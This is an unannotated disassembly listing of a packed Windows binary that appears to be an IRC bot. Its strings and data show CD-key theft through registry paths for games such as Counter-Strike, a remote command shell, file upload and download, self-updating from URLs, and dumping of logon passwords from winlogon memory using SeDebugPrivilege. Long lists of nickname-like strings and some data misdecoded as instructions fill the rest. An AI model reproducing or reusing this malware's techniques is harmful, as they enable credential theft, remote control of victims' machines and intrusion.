aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .packed:00438EACo
aCdkey		db 'CDKey',0            ; DATA XREF: .packed:00438EA8o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
					; DATA XREF: .packed:off_438EA4o
		align 4
asc_43A0B8:				; DATA XREF: sub_416028+E7o
					; sub_416028+F2o
		unicode	0, <=>,0
dword_43A0BC	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_416028+2Bo
		dd 0
unk_43A0D4	db  2Dh	; -		; DATA XREF: sub_4161D7+170o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
unk_43A108	db  2Dh	; -		; DATA XREF: sub_4161D7+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43A138	db  2Dh	; -		; DATA XREF: sub_4161D7+47o
					; sub_416398+FDo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_43A15C	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: sub_416398+362o
					; sub_41673A+156o
		dd 726F72h
unk_43A174	db  2Dh	; -		; DATA XREF: sub_416398+2FAo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 10h
unk_43A1A0	db  2Dh	; -		; DATA XREF: sub_416398+202o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_43A1C4	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: sub_416398+1CBo
		dd 74756Fh
dword_43A1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_416398+16Ao
		dd 169h
unk_43A1F4	db  2Dh	; -		; DATA XREF: sub_416398+127o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_43A214	db  2Dh	; -		; DATA XREF: sub_416398+82o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43A238	db  2Dh	; -		; DATA XREF: sub_416398+44o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_43A25C	db  2Dh	; -		; DATA XREF: sub_41673A+1CFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_43A288	db  2Dh	; -		; DATA XREF: sub_41673A+CBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_43A2A8	db  2Dh	; -		; DATA XREF: sub_41673A+ABo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_41673A+97o
unk_43A2D8	db  2Dh	; -		; DATA XREF: sub_41673A+83o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43A308	db  2Dh	; -		; DATA XREF: sub_416975+480o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_43A334	db  2Dh	; -		; DATA XREF: sub_416975+472o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_43A368	db  2Dh	; -		; DATA XREF: sub_416975+3B6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_43A3AC	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: sub_416975+34Do
		dd 25206465h, 73h
unk_43A3C8	db  2Dh	; -		; DATA XREF: sub_416975+2D6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 10h
unk_43A400	db  2Dh	; -		; DATA XREF: sub_416975+257o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43A428	db  2Dh	; -		; DATA XREF: sub_416975+1CDo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_43A454	db  2Dh	; -		; DATA XREF: sub_416975:loc_416B0Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_43A47C	db  2Dh	; -		; DATA XREF: sub_416975+191o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_43A4A4	db  2Dh	; -		; DATA XREF: sub_416975+77o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416F09:loc_416F4Co
					; sub_4196D6+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416F09:loc_416F46o
aDisk		db 'Disk',0             ; DATA XREF: sub_416F09:loc_416F40o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_416F09:loc_416F3Ao
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416F09:loc_416F34o
		align 4
off_43A4F4	dd offset word_4D4152	; DATA XREF: sub_416F09:loc_416F2Eo
word_43A4F8	dw 3Fh			; DATA XREF: sub_416F09+1Fo
					; sub_41B1FC:loc_41B2FEr
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416F9A:loc_417072o
					; sub_4170B5+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416F9A+6Bo
		align 4
unk_43A50C	db  2Dh	; -		; DATA XREF: sub_4170B5+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43A548	db  2Dh	; -		; DATA XREF: sub_4170B5+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_3		db 'A:\',0              ; DATA XREF: sub_417187:loc_4171CCo
dword_43A588	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_41720A+C5o
		dd 64252064h, 6C696620h, 7365h
unk_43A5A8	db  2Dh	; -		; DATA XREF: sub_41720A+5Co
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 10h
dword_43A5D0	dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
					; DATA XREF: sub_417322+107o
		dd 73252064h, 73255Ch
dword_43A5EC	dd 2A5C7325h, 0	unk_43A5F4	db  2Dh	; -		; DATA XREF: sub_417474:loc_4175EDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43A628	db  2Dh	; -		; DATA XREF: sub_417474:loc_4175C0o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_43A654	db  2Dh	; -		; DATA XREF: sub_417474:loc_4175B9o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 10h
unk_43A690	db  2Dh	; -		; DATA XREF: sub_417474+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
aUserdomain:				; DATA XREF: sub_417474+DCo
		unicode	0, <USERDOMAIN>,0
		align 4
aUsername:				; DATA XREF: sub_417474+CEo
		unicode	0, <USERNAME>,0
		align 4
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417474+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417474+8Do
		align 10h
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417474+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417474+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417474+68o
		align 4
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_417474+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417474+40o
					; sub_417474+161o ...
		align 4
unk_43A7C8	db  2Dh	; -		; DATA XREF: sub_417474+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 4
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_417646+13Eo
		align 10h
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_417646+123o
		align 4
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_417646+AFo
		align 8
dword_43A818	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417AA0+70o
					; sub_417B37+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_43A868	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417B37+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h, 0
off_43A8C0	dd offset aQ		; DATA XREF: sub_41802F+5Cr
					; "q"
		dd offset dword_43B46C
; ---------------------------------------------------------------------------
		fadd	st, st(3)
		inc	edx
		add	ah, dl
		fld	dword ptr [edx+0]
		dec	eax
		fld	dword ptr [edx+0]
		push	100043B4h
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aI		; "i"
		dd offset aP		; "p"
		dd offset aA		; "a"
		dd offset aS_1		; "s"
		dd offset aD		; "d"
		dd offset dword_43B464
		dd offset dword_43B460
		dd offset dword_43B45C
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43B458
		dd offset dword_43B454
		dd offset dword_43B450
; ---------------------------------------------------------------------------
		pushf
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset aV		; "v"
		dd offset dword_43B44C
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_43B448
		dd offset dword_43B444
		dd offset dword_43B440
		dd offset dword_43B43C
		dd offset dword_43B438
		dd offset word_43B434
		dd offset dword_43B430
		dd offset aI_0		; "I"
		dd offset dword_43B42C
		dd offset dword_43B428
		dd offset aA_0		; "A"
		dd offset dword_43B424
		dd offset dword_43B420
		dd offset dword_43B41C
		dd offset dword_43B418
		dd offset dword_43B414
		dd offset dword_43B410
		dd offset dword_43B40C
		dd offset dword_43B408
		dd offset dword_43B404
		dd offset dword_43B400
		dd offset dword_43B3FC
		dd offset dword_43B3F8
		dd offset dword_43B3F4
		dd offset word_43B3F0
		dd offset aM_1		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_43B188
		dd offset off_43B184
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
		dd offset aHakan3	; "hakan3"
		dd offset aImirzali	; "IMIRZALI--"
; ---------------------------------------------------------------------------
		clc
		mov	al, 43h
		add	al, dh
		mov	al, 43h
		add	ah, ah
		mov	al, 43h
		add	al, bl
		mov	al, 43h
		add	al, dl
		mov	al, 43h
		add	al, cl
		mov	al, 43h
		add	al, al
		mov	al, 43h
		add	[eax-57FFBC50h], bh
		mov	al, 43h
		add	[eax-6BFFBC50h], ah
		mov	al, 43h
		add	[eax+7C0043B0h], cl
		mov	al, 43h
		add	[eax+esi*4+43h], dh
		add	[eax+esi*4+43h], ch
		add	[eax+esi*4+43h], ah
		add	[eax+esi*4+43h], bl
		add	[eax-50h], dl
		inc	ebx
		add	[eax-50h], cl
		inc	ebx
		add	[eax-50h], al
		inc	ebx
		add	[eax+esi*4], dh
		inc	ebx
		add	[eax+esi*4], ch
		inc	ebx
		add	[eax], ah
		mov	al, 43h
		add	[eax], bl
		mov	al, 43h
		add	[eax+esi*4], cl
		inc	ebx
		add	[eax+esi*4], al
		inc	ebx
		add	ah, bh
		scasd
		inc	ebx
		add	ah, dh
		scasd
		inc	ebx
		add	al, dh
		scasd
		inc	ebx
		add	ah, ah
		scasd
		inc	ebx
		add	ah, bl
		scasd
		inc	ebx
		add	ah, dl
		scasd
		inc	ebx
		add	ah, cl
		scasd
		inc	ebx
		add	ah, al
		scasd
		inc	ebx
		add	[edi+ebp*4-504BFFBDh], bh
		inc	ebx
		add	[edi+ebp*4-505FFFBDh], ch
		inc	ebx
		add	[eax-6FFFBC51h], bl
		scasd
		inc	ebx
		add	[eax-7FFFBC51h], cl
		scasd
		inc	ebx
		add	[eax-51h], bh
		inc	ebx
		add	[eax-51h], dh
		inc	ebx
		add	[eax-51h], ch
		inc	ebx
		add	[edi+ebp*4+43h], ah
		add	[eax-51h], bl
		inc	ebx
		add	[edi+ebp*4+43h], cl
		add	[eax-51h], al
		inc	ebx
		add	[eax], bh
		scasd
		inc	ebx
		add	[eax], dh
		scasd
		inc	ebx
		add	[eax], ch
		scasd
		inc	ebx
		add	[edi+ebp*4], bl
		inc	ebx
		add	[eax], dl
		scasd
		inc	ebx
		add	[edi+ebp*4], al
		inc	ebx
		add	al, bh
		scasb
		inc	ebx
		add	al, dh
		scasb
		inc	ebx
		add	ah, ah
		scasb
		inc	ebx
		add	al, bl
		scasb
		inc	ebx


loc_43ABBF:				; DATA XREF: sub_41802F+41r
					; sub_41802F+ECr
		add	ah, cl
		movsd
		inc	edx
		add	ah, dl
		scasb
		inc	ebx
		add	al, dl
		scasb
		inc	ebx
		add	al, cl
		scasb
		inc	ebx
		add	ah, al
		scasb
		inc	ebx
		add	al, al
		scasb
		inc	ebx
		add	[eax-4FFFBC52h], bh
		scasb
		inc	ebx
		add	[eax-5FFFBC52h], ch
		scasb
		inc	ebx
		add	[eax-6FFFBC52h], bl
		scasb
		inc	ebx
		add	[eax-7FFFBC52h], cl
		scasb
		inc	ebx
		add	[esi+ebp*4+43h], dh
		add	[esi+ebp*4+43h], ch
		add	[esi+ebp*4+43h], ah
		add	[eax-52h], ah
		inc	ebx
		add	[eax-52h], bl
		inc	ebx
		add	[esp+esi*4+43h], cl
		add	[ebx+eax*8-222FFFBEh], bl
		inc	edx
		add	al, bl
		retn
; ---------------------------------------------------------------------------
		dw 42h
		dd offset dword_43B464
		dd offset dword_43B460
		dd offset dword_43B45C
		dd offset aI		; "i"
		dd offset dword_42CBB4
		dd offset aJ		; "j"
		dd offset aK		; "k"
		dd offset dword_43B458
		dd offset aM		; "m"
		dd offset aN		; "n"
; ---------------------------------------------------------------------------
		lodsb
		leave
		inc	edx
		add	ah, ch
		rol	dword ptr [edx+0], 0B8h
		fld	dword ptr [edx+0]
		push	esp
		scasb
		inc	ebx
		add	[eax-27h], cl
		inc	edx
		add	[eax], dl
		retn	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_43B46C
		dd offset dword_43B450
		dd offset dword_43B468
		dd offset dword_43B454
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_43B454
		dd offset dword_43B460
		dd offset aS_1		; "s"
		dd offset aQ		; "q"
		dd offset off_43AE10
		dd offset aBbl		; "|bbl"
		dd offset byte_43FE14
		dd offset byte_43FE14
		dd offset a___0		; "_|_"
		dd offset byte_43FE14
		dd offset byte_43FE14
		dd offset byte_43FE14
		dd offset byte_43FE14
		dd offset dword_43B41C
		dd offset aM_1		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF		; "^^^f^"
		dd offset dword_43B44C
		dd offset byte_43FE14
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43FE14
		dd offset byte_43FE14
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43FE14
		dd offset byte_43FE14
		dd offset dword_43B400
		dd offset byte_43FE14
		dd offset aBoy		; "BOY"
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_43AD90
		dd offset dword_43AD8C
		dd offset dword_43AD84
		dd offset dword_43AD78
		dd offset dword_43AD70
		dd offset dword_43AD68
		dd offset dword_43AD60
		dd offset dword_43AD5C
		dd offset dword_43AD58
dword_43AD58	dd 7536h	dword_43AD5C	dd 7535h	dword_43AD60	dd 7C75347Ch, 0	dword_43AD68	dd 6F79347Bh, 7D75hdword_43AD70	dd 7375347Ch, 7Chdword_43AD78	dd 7865737Ch, 65726634h, 7C65hdword_43AD84	dd 6F6C6F6Ch, 7C617Chdword_43AD8C	dd 6C6F6Ch	dword_43AD90	dd 746F74h	aMofo		db 'mofo',0             ; DATA XREF: .packed:0043AD30o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: .packed:0043AD2Co
		align 4
aMuha		db 'muha',0             ; DATA XREF: .packed:0043AD28o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: .packed:0043AD24o
		align 4
aAha		db 'aha',0              ; DATA XREF: .packed:0043AD20o
aShit		db 'shit',0             ; DATA XREF: .packed:0043AD1Co
		align 10h
aGurl		db 'gurl',0             ; DATA XREF: .packed:0043AD18o
		align 4
aGirl_0		db 'GIRL',0             ; DATA XREF: .packed:0043AD14o
		align 10h
aBoy		db 'BOY',0              ; DATA XREF: .packed:0043AD10o
aFree		db 'Free',0             ; DATA XREF: .packed:0043ACFCo
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: .packed:0043ACF8o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: .packed:0043ACECo
		align 10h
aF		db '^^^f^',0            ; DATA XREF: .packed:0043ACE0o
		align 4
aSad		db 'Sad',0              ; DATA XREF: .packed:0043ACDCo
aLuvu		db 'LUVU',0             ; DATA XREF: .packed:0043ACD8o
		align 4
a___0		db '_|_',0              ; DATA XREF: .packed:0043ACBCo
aBbl		db '|bbl',0             ; DATA XREF: .packed:0043ACB0o
		align 10h
off_43AE10	dd offset loc_42523E+4	; DATA XREF: .packed:0043ACACo
aMuckc		db 'muckc',0            ; DATA XREF: .packed:0043AC98o
		align 4
aTruck		db 'truck',0            ; DATA XREF: .packed:0043AC94o
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: .packed:0043AC90o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: .packed:0043AC8Co
		align 4
aUi		db 'ui',0               ; DATA XREF: .packed:0043AC88o
		align 4
aSdf		db 'sdf',0              ; DATA XREF: .packed:0043AC84o
aRt		db 'rt',0               ; DATA XREF: .packed:0043AC80o
		align 10h
aGf		db 'gf',0               ; DATA XREF: .packed:0043AC7Co
		align 4
aTy		db 'ty',0               ; DATA XREF: .packed:0043AC78o
		align 4
aRg		db 'rg',0               ; DATA XREF: .packed:0043AC74o
		align 4
aHappy		db 'happy',0            ; DATA XREF: .packed:0043AC70o
		align 4
aRs		db 'rs',0
		align 4
aQ8A		db '|q8|a',0
		align 10h
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 10h
aGens		db '{gens|',0
		align 4
aSex_0		db '{sex}',0
		align 10h
aHub		db '{hub}',0
		align 4
aLuck		db '|luck|',0
		align 10h
aSuck		db '|suck|',0
		align 4
aTot		db '-|tot|',0
		align 10h
aWoh		db '|woh|',0
		align 4
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0
aTree		db 'tree',0
		align 10h
aZex		db 'zex',0
aLez		db 'lez',0
aWantedlove	db 'WANTEDLOVE',0
		align 4
aCumhur29	db 'cumhur29',0
		align 10h
aAdamm		db 'ADAMM',0
		align 4
aMaveRIck	db 'MaVe{R}icK',0
		align 4
aPrometheus	db 'prometheus',0
		align 10h
aDallas43m	db 'DALLAS43M',0
		align 4
aTeoman		db 'TEOMAN```',0
		align 4
aRerpjj		db 'RERPJJ',0
		align 10h
aCem39		db 'cem39',0
		align 4
aCool30m	db 'cool30m',0
aTropikal	db 'tropikal',0
		align 4
aPassenger	db 'passenger',0
		align 4
aNeHaber	db 'NE-HABER',0
		align 4
aUla		db 'ula',0
aIzmirlm	db 'izmirlm',0
aAkden		db 'akden',0
		align 4
aKoray		db 'KORAY',0
		align 10h
aAta29		db 'Ata29',0
		align 4
aFirtina	db 'firtina',0
aAdamm33	db 'AdAMM33',0
aM41ist		db 'M41IST',0
		align 10h
aMaxsilla	db 'maxsilla',0
		align 4
aAdem28		db 'Adem28',0
		align 4
aAnkm		db 'ankM',0
		align 4
aErkan		db 'erkan',0
		align 4
aDevre		db 'devre',0
		align 4
aYabanc		db 'yabanc',0
		align 4
aBirsen		db 'birsen',0
		align 4
aA44m		db 'a44m',0
		align 4
aAlcatras	db 'alcatras',0
		align 10h
		dd offset byte_4B5245
aSevda		db 'sevda',0
		align 4
aKotan		db 'kotan',0
		align 4
aTegmen		db 'TEGMEN',0
		align 4
aAchilles	db 'Achilles',0
		align 4
aKapk		db 'kapk',0
		align 10h
aAngelgirl	db 'angelgirl',0
		align 4
aHayran		db 'hayran',0
		align 4
aFenerlee	db 'FeNeRLee',0
		align 10h
aAnkar		db 'Ankar',0
		align 4
aDjspace	db 'DJSPACE',0
aAnk32M		db 'ANK-32-M',0
		align 4
aUmut		db 'umut-',0
		align 4
aAdalim		db 'ADALIM',0
		align 4
aKumul		db 'kumul',0
		align 4
aUzgun36	db 'uzgun36',0
aSugarboy	db 'SUGARBOY-',0
		align 4
aSeviseli	db 'SeViSeLi',0
		align 4
aKashmira	db 'Kashmira',0
		align 10h
aAykut1		db 'aykut1',0
		align 4
aSadikaellesme	db 'SaDIkaEllesme',0
		align 4
aMahinur	db 'MAHINUR',0
aHoly		db 'holy',0
		align 4
aFlord		db 'FLoRD',0
		align 10h
aKebikec	db 'kebikec',0
aEsmerkiz	db 'Esmerkiz',0
		align 4
aElmaazyok	db 'elmaazyok',0
		align 10h
aEmre		db 'Emre--',0
		align 4
aRamtha		db 'RAMTHA',0
		align 10h
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: .packed:0043AAD0o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: .packed:0043AACCo
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: .packed:0043AAC8o
		align 10h
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: .packed:0043AAC4o
aArda		db 'arda',0             ; DATA XREF: .packed:0043AAC0o
		align 4
aDevran		db 'devran',0           ; DATA XREF: .packed:0043AABCo
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: .packed:0043AAB8o
aDenizlim	db 'DenizliM',0         ; DATA XREF: .packed:0043AAB4o
